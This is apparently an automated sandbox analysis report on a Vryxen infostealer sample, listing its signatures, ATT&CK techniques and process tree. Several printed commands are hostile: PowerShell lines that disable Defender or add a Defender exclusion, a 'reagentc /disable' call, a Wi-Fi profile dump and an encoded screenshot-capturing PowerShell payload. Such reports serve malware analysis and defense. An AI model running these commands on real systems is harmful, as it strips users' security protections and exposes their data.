Overview

overview

10

Static

static

10

2026-08-07...st.exe

windows10-2004-x64

10

2026-08-07...st.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    130s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/08/2026, 08:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-07_41e9d226aa36e38baabd337d55f7e8a7_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
  • Size 10.5MB
  • Sample260807-kfdvrs1aph
  • SHA256 813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutionvryxenpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Family: Vryxen

    Vryxen is an open-source stealer written in Golang.

    stealervryxen
  • Detects Vryxen stealer 1 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 36 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 34 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 4 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-07_41e9d226aa36e38baabd337d55f7e8a7_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-07_41e9d226aa36e38baabd337d55f7e8a7_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies trusted root certificate store through registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3568
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360chrome.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4504
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360chrome.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3132
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360se.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360se.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2188
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq avant.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3208
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq avant.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4328
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq brave.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1136
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq brave.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1352
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chrome.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4948
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chrome.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:964
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chromium.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1692
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chromium.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2136
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq citrio.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1132
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq citrio.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5880
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq comodo_dragon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3976
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq comodo_dragon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5028
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coolnovo.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:948
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coolnovo.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:888
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coowon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2496
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coowon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2884
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq cyberfox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1452
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq cyberfox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4692
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq deepnet.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:364
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq deepnet.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:264
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq dooble.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4332
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq dooble.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4348
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq epic.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq epic.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1696
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq firefox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5264
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq firefox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3440
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iceweasel.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:772
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iceweasel.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1120
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iridium.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1748
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iridium.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:6080
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq k-meleon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4780
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq k-meleon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5488
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq maxthon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1076
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq maxthon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2244
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq msedge.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5092
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq msedge.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4172
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq netscape.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2400
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq netscape.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4884
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq opera.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5392
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq opera.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4932
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq palemoon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3472
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq palemoon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4076
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq safari.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:476
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq safari.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2040
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq seamonkey.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2748
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq seamonkey.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2692
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sleipnir.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2148
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sleipnir.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3668
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sputnik.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3164
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sputnik.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4308
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq torch.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2592
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq torch.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1016
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq ucbrowser.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4600
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq ucbrowser.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5652
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq vivaldi.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5856
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq vivaldi.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1812
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq waterfox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2108
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq waterfox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2932
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandex.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4960
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq yandex.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2604
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandexbrowser.exe"
      2⤵
      • Executes a command shell one-liner
      PID:1644
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq yandexbrowser.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3980
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq operagx.exe"
      2⤵
      • Executes a command shell one-liner
      PID:620
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq operagx.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4248
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-08-07_41e9d226aa36e38baabd337d55f7e8a7_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
      2⤵
      • Views/modifies file attributes
      PID:4628
    • C:\Windows\system32\reagentc.exe
      reagentc.exe /disable
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      PID:4616
    • C:\Windows\system32\tasklist.exe
      tasklist
      2⤵
      • Discovers running processes
      • Suspicious use of AdjustPrivilegeToken
      PID:5240
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:940
    • C:\Windows\system32\tasklist.exe
      tasklist
      2⤵
      • Discovers running processes
      • Suspicious use of AdjustPrivilegeToken
      PID:1100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2026-08-07_41e9d226aa36e38baabd337d55f7e8a7_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5844
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5216
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:1372
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious behavior: EnumeratesProcesses
      PID:5452
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:1292
    • C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      • System Network Configuration Discovery: Wi-Fi Discovery
      PID:2328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables one or more Microsoft Defender components
      PID:3448
    • C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      2⤵
      • Drops file in Drivers directory
      • Views/modifies file attributes
      PID:6048
    • C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      2⤵
      • Drops file in Drivers directory
      • Views/modifies file attributes
      PID:1192
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
        PID:1844
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\skok0dz0\skok0dz0.cmdline"
          3⤵
            PID:552
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES74A9.tmp" "c:\Users\Admin\AppData\Local\Temp\skok0dz0\CSC2605355A1E2041519C9A6DD02C2D3AE8.TMP"
              4⤵
                PID:3576
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5056
        • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4336

        Network

              MITRE ATT&CK Enterprise v16

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              2
              T1059

              PowerShell

              1
              T1059.001

              Windows Command Shell

              1
              T1059.003

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Event Triggered Execution

              1
              T1546

              Netsh Helper DLL

              1
              T1546.007

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Event Triggered Execution

              1
              T1546

              Netsh Helper DLL

              1
              T1546.007

              Defense Evasion

              Hide Artifacts

              1
              T1564

              Hidden Files and Directories

              1
              T1564.001

              Impair Defenses

              1
              T1562

              Disable or Modify Tools

              1
              T1562.001

              Modify Registry

              2
              T1112

              Obfuscated Files or Information

              1
              T1027

              Command Obfuscation

              1
              T1027.010

              Subvert Trust Controls

              2
              T1553

              Install Root Certificate

              2
              T1553.004

              Credential Access

              Credentials from Password Stores

              1
              T1555

              Credentials from Web Browsers

              1
              T1555.003

              Unsecured Credentials

              4
              T1552

              Credentials In Files

              3
              T1552.001

              Credentials in Registry

              1
              T1552.002

              Discovery

              Browser Information Discovery

              1
              T1217

              Process Discovery

              1
              T1057

              System Information Discovery

              1
              T1082

              System Network Configuration Discovery

              2
              T1016

              Internet Connection Discovery

              1
              T1016.001

              Wi-Fi Discovery

              1
              T1016.002

              Lateral Movement

              Collection

              Data from Local System

              3
              T1005

              Command and Control

              Web Service

              1
              T1102

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
